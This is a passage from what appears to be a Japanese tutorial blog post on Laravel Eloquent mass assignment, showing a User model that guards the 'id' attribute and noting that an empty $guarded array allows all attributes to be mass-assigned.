`id`は基本的にオートインクリメントで設定しているため自動で値が設定されます。
これで、`id`以外の属性は複数代入で保存できるようになりました。

```php:app/User.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    /**
     * 複数代入する属性
     *
     * @var array
     */
    protected $guarded = ['id'];
}
```

ちなみに、下記のように$guardedプロパティに空の配列にすると、全属性を複数代入可能になります

```php:app/User.php
protected $guarded = [];
```


以上です！！！
**ここまで読んでいただきありがとうございました！！
疑問、気になるところがございましたら、質問、コメントよろしくお願いします！！！**